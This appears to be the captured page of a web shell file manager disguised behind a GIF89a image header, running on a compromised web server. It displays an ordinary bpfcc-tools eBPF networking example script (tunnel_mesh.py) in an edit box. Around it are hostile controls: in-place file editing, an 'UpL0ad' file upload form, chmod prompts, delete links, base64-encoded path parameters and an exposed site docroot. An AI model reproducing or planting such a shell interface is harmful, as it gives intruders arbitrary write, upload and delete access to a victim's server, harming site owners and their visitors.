GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>tunnel_mesh.py<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U%3D&f=dHVubmVsX21lc2gucHk%3D"><input name="f" value="tunnel_mesh.py"><textarea name="t">#!/usr/bin/python
# Copyright (c) PLUMgrid, Inc.
# Licensed under the Apache License, Version 2.0 (the &quot;License&quot;)

from sys import argv
from bcc import BPF
from builtins import input
from ctypes import c_int, c_uint
from http.server import HTTPServer, SimpleHTTPRequestHandler
import json
from netaddr import EUI, IPAddress
from pyroute2 import IPRoute, NetNS, IPDB, NSPopen
from socket import htons, AF_INET
from threading import Thread
from subprocess import call, Popen, PIPE

num_hosts = int(argv[1])
host_id = int(argv[2])
dhcp = int(argv[3])
gretap = int(argv[4])

b = BPF(src_file=&quot;tunnel_mesh.c&quot;)
ingress_fn = b.load_func(&quot;handle_ingress&quot;, BPF.SCHED_CLS)
egress_fn = b.load_func(&quot;handle_egress&quot;, BPF.SCHED_CLS)
tunkey2if = b.get_table(&quot;tunkey2if&quot;)
if2tunkey = b.get_table(&quot;if2tunkey&quot;)
conf = b.get_table(&quot;conf&quot;)

ipr = IPRoute()
ipdb = IPDB(nl=ipr)

ifc = ipdb.interfaces.eth0

# ifcs to cleanup at the end
ifc_gc = []

# dhcp server and client processes
d_serv = []
d_client = []

def run():
    if gretap:
        with ipdb.create(ifname=&quot;gretap1&quot;, kind=&quot;gretap&quot;, gre_ikey=0, gre_okey=0,
                         gre_local='172.16.1.%d' % (100 + host_id),
                         gre_ttl=16, gre_collect_metadata=1) as vx:
            vx.up()
            ifc_gc.append(vx.ifname)
    else:
        with ipdb.create(ifname=&quot;vxlan0&quot;, kind=&quot;vxlan&quot;, vxlan_id=0,
                         vxlan_link=ifc, vxlan_port=4789,
                         vxlan_collect_metadata=True,
                         vxlan_learning=False) as vx:
            vx.up()
            ifc_gc.append(vx.ifname)

    conf[c_int(1)] = c_int(vx.index)

    ipr.tc(&quot;add&quot;, &quot;ingress&quot;, vx.index, &quot;ffff:&quot;)
    ipr.tc(&quot;add-filter&quot;, &quot;bpf&quot;, vx.index, &quot;:1&quot;, fd=ingress_fn.fd,
           name=ingress_fn.name, parent=&quot;ffff:&quot;, action=&quot;drop&quot;, classid=1)

    for j in range(0, 2):
        vni = 10000 + j
        with ipdb.create(ifname=&quot;br%d&quot; % j, kind=&quot;bridge&quot;) as br:
            for i in range(0, num_hosts):
                if i != host_id:
                    v = ipdb.create(ifname=&quot;dummy%d%d&quot; % (j , i), kind=&quot;dummy&quot;).up().commit()
                    ipaddr = &quot;172.16.1.%d&quot; % (100 + i)
                    tunkey2if_key = tunkey2if.Key(vni)
                    tunkey2if_key.remote_ipv4 = IPAddress(ipaddr)
                    tunkey2if_leaf = tunkey2if.Leaf(v.index)
                    tunkey2if[tunkey2if_key] = tunkey2if_leaf

                    if2tunkey_key = if2tunkey.Key(v.index)
                    if2tunkey_leaf = if2tunkey.Leaf(vni)
                    if2tunkey_leaf.remote_ipv4 = IPAddress(ipaddr)
                    if2tunkey[if2tunkey_key] = if2tunkey_leaf

                    ipr.tc(&quot;add&quot;, &quot;sfq&quot;, v.index, &quot;1:&quot;)
                    ipr.tc(&quot;add-filter&quot;, &quot;bpf&quot;, v.index, &quot;:1&quot;, fd=egress_fn.fd,
                       name=egress_fn.name, parent=&quot;1:&quot;, action=&quot;drop&quot;, classid=1)
                    br.add_port(v)
                    br.up()
                    ifc_gc.append(v.ifname)
            if dhcp == 0:
                ipaddr = &quot;99.1.%d.%d/24&quot; % (j, host_id + 1)
                br.add_ip(ipaddr)
            ifc_gc.append(br.ifname)

    # dhcp server only runs on host 0
    if dhcp == 1 and host_id == 0:
        for j in range(0, 2):
            v1 = &quot;dhcp%d_v1&quot; % j
            v2 = &quot;dhcp%d_v2&quot; % j
            br = ipdb.interfaces[&quot;br%d&quot; % j]
            with ipdb.create(ifname=v1, kind=&quot;veth&quot;, peer=v2) as v:
                    v.up()
            br.add_port(ipdb.interfaces[v1]).commit()
            dhcp_v2 = ipdb.interfaces[v2]
            dhcp_v2.add_ip(&quot;99.1.%d.1/24&quot; % j).up().commit()

            call([&quot;/bin/rm&quot;, &quot;-f&quot;, &quot;/tmp/dnsmasq.%d.leases&quot; % j])
            cmd = [&quot;dnsmasq&quot;, &quot;-d&quot;, &quot;--bind-interfaces&quot;, &quot;--strict-order&quot;,
                   &quot;--conf-file=&quot;,
                   &quot;--dhcp-range&quot;, &quot;99.1.%d.2,99.1.%d.254,255.255.255.0,12h&quot; % (j, j),
                   &quot;--dhcp-no-override&quot;, &quot;--except-interface=lo&quot;,
                   &quot;--interface=dhcp%d_v2&quot; % j,
                   &quot;--dhcp-authoritative&quot;,
                   &quot;--dhcp-leasefile=/tmp/dnsmasq.%d.leases&quot; % j]
            d_serv.append(Popen(cmd, stdout=PIPE, stderr=PIPE))

    # dhcp client to assign ip address for each bridge
    if dhcp == 1:
        for j in range(0, 2):
            call([&quot;/bin/rm&quot;, &quot;-rf&quot;, &quot;/tmp/dhcp_%d_%d&quot; % (host_id, j)])
            call([&quot;mkdir&quot;, &quot;/tmp/dhcp_%d_%d&quot; % (host_id, j)])
            call([&quot;touch&quot;, &quot;/tmp/dhcp_%d_%d/dhclient.conf&quot; % (host_id, j)])
            call([&quot;touch&quot;, &quot;/tmp/dhcp_%d_%d/dhclient.lease&quot; % (host_id, j)])
            cmd = [&quot;dhclient&quot;, &quot;-d&quot;, &quot;br%d&quot; % j,
                   &quot;-cf&quot;, &quot;/tmp/dhcp_%d_%d/dhclient.conf&quot; % (host_id, j),
                   &quot;-lf&quot;, &quot;/tmp/dhcp_%d_%d/dhclient.lease&quot; % (host_id, j)]
            d_client.append(Popen(cmd, stdout=PIPE, stderr=PIPE))

            # make sure we get address for eth0
            retry = -1
            while retry &lt; 0:
                check = Popen([&quot;ip&quot;, &quot;addr&quot;, &quot;show&quot;, &quot;br%d&quot; % j], stdout=PIPE, stderr=PIPE)
                out = check.stdout.read()
                checkip = b&quot;99.1.%d&quot; % j
                retry = out.find(checkip)

try:
    run()
    input(&quot;&quot;)
finally:
    for v in ifc_gc: call([&quot;ip&quot;, &quot;link&quot;, &quot;del&quot;, v])
    ipdb.release()
    for p in d_client: p.kill()
    for p in d_serv: p.kill()
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/bpfcc-tools/examples/networking/distributed_bridge<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZw=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&x=bWFpbi5weQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=bWFpbi5weQ=="/>main.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=bWFpbi5weQ==&c=`+btoa(c):0" value="0755"></td><td>2983</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&x=c2ltdWxhdGlvbi5weQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=c2ltdWxhdGlvbi5weQ=="/>simulation.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=c2ltdWxhdGlvbi5weQ==&c=`+btoa(c):0" value="0644"></td><td>5257</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&x=dHVubmVsLmM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=dHVubmVsLmM="/>tunnel.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=dHVubmVsLmM=&c=`+btoa(c):0" value="0644"></td><td>2421</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&x=dHVubmVsLnB5">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=dHVubmVsLnB5"/>tunnel.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=dHVubmVsLnB5&c=`+btoa(c):0" value="0755"></td><td>2606</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&x=dHVubmVsX21lc2guYw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=dHVubmVsX21lc2guYw=="/>tunnel_mesh.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=dHVubmVsX21lc2guYw==&c=`+btoa(c):0" value="0644"></td><td>1835</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&x=dHVubmVsX21lc2gucHk=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=dHVubmVsX21lc2gucHk="/>tunnel_mesh.py</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvYnBmY2MtdG9vbHMvZXhhbXBsZXMvbmV0d29ya2luZy9kaXN0cmlidXRlZF9icmlkZ2U=&f=dHVubmVsX21lc2gucHk=&c=`+btoa(c):0" value="0755"></td><td>5297</td></tr></table>